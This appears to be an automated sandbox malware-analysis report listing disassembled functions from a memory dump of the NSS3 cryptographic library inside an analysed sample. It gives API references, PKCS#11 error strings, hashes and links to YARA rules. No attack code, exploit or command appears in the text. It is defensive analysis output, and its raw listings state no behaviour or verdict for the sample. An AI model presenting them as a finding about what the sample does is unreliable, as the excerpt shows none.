Opcode Fuzzy Hash: c0897baac1d28766edbb27e3ec96c9adce99f321fe463160c3be04dd95e19e59
Instruction Fuzzy Hash: F1928074A002098FDB05DF94C890BAEB7B2FF58308F684168D616ABB91D735ED56CB90

Function 6CECED70 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CECEE3D

Strings

trJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxU, xrefs: 6CECEF0E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID: trJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxU
API String ID: 2062749931-1691444522
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 1fb0c6047e08d7a02040fba6c54b4f69ee106c7c736e17892a0668535ee5e220
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6571F472F01B018FD718CF59C98266AB7F2AB88308F24462DD86697B91D734E901CB92

Function 6CDF3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDF3EA9

Strings

0, xrefs: 6CDF3DAB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: a699311f3dc86479883dce516581271a3be7903488e22d2044b2abc26873dc2e
Instruction ID: 8032bf0d323574421981e5a474975a833f014b442123de8a57ef84ef6b18b5fa
Opcode Fuzzy Hash: a699311f3dc86479883dce516581271a3be7903488e22d2044b2abc26873dc2e
Instruction Fuzzy Hash: 32513871E491B98ADB15477C88603FFBBB1AF42314F1B4329C5B5ABAE0D234854787A2

Function 6CE9EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE9F0F9

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3a96ae2670e9ddef697c0972d64d9b4c89f2dd830f3e0519e4bcbbae98eb71df
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 2D918E71A0071A8BCB14CF69C8916AEB7F1BF85324F24462DE966A7BC0D734A905CB91

Function 6CEC2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEE7929), ref: 6CEC2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEE7929), ref: 6CEC2FE0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 8e9eea5ecce86f5557555562bc10f7ed8f7b156b264458ac52aca1dcbcf12dc6
Instruction ID: 233d3a2dfe0ea219cbfe742b2c5654f949cf5fc9ed099a135248304457acea1b
Opcode Fuzzy Hash: 8e9eea5ecce86f5557555562bc10f7ed8f7b156b264458ac52aca1dcbcf12dc6
Instruction Fuzzy Hash: 9A51D372B049518FD7108E59CA82BEA73B1FB4631CF354129DD29ABB02D735E946CB83

Function 6CE0AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CE0AE18
winUnlockReadLock, xrefs: 6CE0AE9F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9ba6464cfdb40b3cde8b0939811961e99e94d3098e120cbc81ac8563b73a9445
Instruction ID: 725fc3ea98c6c80519461994d12f037f790c9680fd9dee9362f29de36f112ddb
Opcode Fuzzy Hash: 9ba6464cfdb40b3cde8b0939811961e99e94d3098e120cbc81ac8563b73a9445
Instruction Fuzzy Hash: 19717D71B182449BDB54CF28D885BABBBF5FF89314F14C618E94997301D730AA868BC1

Function 6CE04DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE05125

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 7617b8031a5620116522474aecb8449ed1324da670d090512a03e9868b4d6084
Instruction ID: e4d8c706578bfa501d8773499444c3f9a43d848fca6a882e0d86bcd51d6b44c0
Opcode Fuzzy Hash: 7617b8031a5620116522474aecb8449ed1324da670d090512a03e9868b4d6084
Instruction Fuzzy Hash: 6BE11C71A293408FDB44DF28D58975ABBF0FF8A318F11861DE89997351E730A985CBC2

Function 6CF85E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF85B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE6DF9B), ref: 6CF85B9E
Part of subcall function 6CF85B90: PR_Unlock.NSS3 ref: 6CF85BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF85E23,6CE6E154), ref: 6CF85EBF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 995a5f62c69bda5b556d38d8a510fb4283e1192c8fcbca6c3b600eae037a5e1f
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 39519D72E0121A8FDB18CF59C8815AEF7B2FF98314B19456DD816B7745D730A941CBA0

Function 6CF3DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d90584b945bcceb2a0d8084bb87399823e30b8cfa300e66ed3bcffc69f9dafa
Instruction ID: 0813af918b260d1bdd00f61559603eadfc4ae38d785be75e1b385b73600d21ae
Opcode Fuzzy Hash: 9d90584b945bcceb2a0d8084bb87399823e30b8cfa300e66ed3bcffc69f9dafa
Instruction Fuzzy Hash: 8CF14D71A01215DFDB48CF29C4947AA7BB2BF89318F298168D8099F751CB35ED42CBD1

Function 6CED1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 9e0b7683ff9e5be9fea326b0c3949b02aeb70f64561fcd0af6afbdf169231516
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 31D14732A046568BDB118E58C8843DA7773AB96338F2A4328DC651B7C6C37ABD07C7D1

Function 6CE68EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b2993aaaa405549383e37654acd7823a4065a27a84d67ee3c82c97e42868e8
Instruction ID: 00a5ee0f709b7b5bff17f196005d78820e35a85bd3059b9af83593449932d9e9
Opcode Fuzzy Hash: 93b2993aaaa405549383e37654acd7823a4065a27a84d67ee3c82c97e42868e8
Instruction Fuzzy Hash: 0911B232AA02198BD728CF26D88975AB7B5BF4331CF24426AD8158FF51C775E886C7C1

Function 6CF40C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560c76c50f6e6f1dbcb72d29ab98659256c9b876ddbf3cc7927eb396ca0298b6
Instruction ID: 569a6a65239deb010d40e381ddaaeabeb4701ba5e6e7539228746690de4a2f13
Opcode Fuzzy Hash: 560c76c50f6e6f1dbcb72d29ab98659256c9b876ddbf3cc7927eb396ca0298b6
Instruction Fuzzy Hash: BA11CE75704345DFDB00DF28C88066A7BA2FF85368F18C06DD8298B706DBB1E806CBA0

Function 6CEB3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: bead6890c2848137e61b83685991a742443f37545f41ee966126f705635b74a4
Instruction ID: 6437de047c3a28ab228d1d611b01c144a8e80764e1d88dcc820460604418071b
Opcode Fuzzy Hash: bead6890c2848137e61b83685991a742443f37545f41ee966126f705635b74a4
Instruction Fuzzy Hash: 97F09A70E006598BCB40EF29C59129AB7F4EF09244B109619EC8AAB200EB30AA84C7C1

Function 6CF40D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 110d029f02957afbf8338699262e0e8ac99a925f132d3519a2950dbdb50b58f7
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 35E06D3A202054A7DB148E09C450BAA7B69DF91719FA4C079CC599BA02DA73F8078B81

Function 6CE6CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5593db326074ffffb6bf66e450072accdec88393648545e103cb7c415e76dc11
Instruction ID: dfcbf7f065c015883fa32395662353cc56231a80ad515f8aa5a7d887f0e805d6
Opcode Fuzzy Hash: 5593db326074ffffb6bf66e450072accdec88393648545e103cb7c415e76dc11
Instruction Fuzzy Hash: 5AC09238254708CFC744DF18E489EA43BF8FF0D6107044094EA028B721DB31FC00DA80

Function 6CEA1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CEA1D46), ref: 6CEA2345

Strings

CKR_OK, xrefs: 6CEA1DFC
rv = %s, xrefs: 6CEA2340
CKR_SAVED_STATE_INVALID, xrefs: 6CEA1E56
CKR_DEVICE_ERROR, xrefs: 6CEA229D
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CEA1F0F
CKR_PIN_LOCKED, xrefs: 6CEA2075
rv = 0x%x, xrefs: 6CEA2312
CKR_PIN_INCORRECT, xrefs: 6CEA1D92
CKR_DEVICE_MEMORY, xrefs: 6CEA1FF3
CKR_PIN_INVALID, xrefs: 6CEA2057
CKR_STATE_UNSAVEABLE, xrefs: 6CEA2037
CKR_NEW_PIN_MODE, xrefs: 6CEA1E9F
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CEA1F95
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CEA1EE1
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CEA227F
CKR_BUFFER_TOO_SMALL, xrefs: 6CEA2183
CKR_DEVICE_REMOVED, xrefs: 6CEA2261
CKR_PIN_EXPIRED, xrefs: 6CEA206B
CKR_FUNCTION_REJECTED, xrefs: 6CEA2289
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CEA20D9
CKR_TOKEN_NOT_PRESENT, xrefs: 6CEA1F81
CKR_PIN_LEN_RANGE, xrefs: 6CEA2061
CKR_WRAPPED_KEY_INVALID, xrefs: 6CEA1FB5
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CEA22FF
CKR_MUTEX_NOT_LOCKED, xrefs: 6CEA2225
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CEA1DE0
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CEA1FD7
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CEA218D
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CEA2015
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CEA226B
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CEA1F8B
CKR_NEXT_OTP, xrefs: 6CEA222F
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CEA1F77
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CEA204D
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CEA2275
CKR_OPERATION_ACTIVE, xrefs: 6CEA22B8
CKR_INFORMATION_SENSITIVE, xrefs: 6CEA22B1
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CEA2293, 6CEA233F
CKR_MUTEX_BAD, xrefs: 6CEA1F49
CKR_RANDOM_NO_RNG, xrefs: 6CEA22A7
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CEA232E
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CEA2327
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CEA2179
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CEA2320
CKR_FUNCTION_CANCELED, xrefs: 6CEA1E73
CKR_SIGNATURE_INVALID, xrefs: 6CEA20CF
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CEA2319

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 027cb3472bdc034f6beed20c39fe6096e62f1ed51cd7dfcc8ca9532d306efcc3
Instruction ID: f977a34817ce99690b7cc420f97758a80a736bc2ff2831518cb06de21f3983ee
Opcode Fuzzy Hash: 027cb3472bdc034f6beed20c39fe6096e62f1ed51cd7dfcc8ca9532d306efcc3
Instruction Fuzzy Hash: B561E024A4D046CEDA1C05CFC1AA36C31359B27709F74D1B7E589BEF90C7A9CA4B4693

Function 6CED5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CED5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CED5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CED5E5C
free.MOZGLUE(00000000), ref: 6CED5E7E
free.MOZGLUE(00000000), ref: 6CED5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CED5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CED5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CED5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CED5EF0
free.MOZGLUE(00000000), ref: 6CED5F12
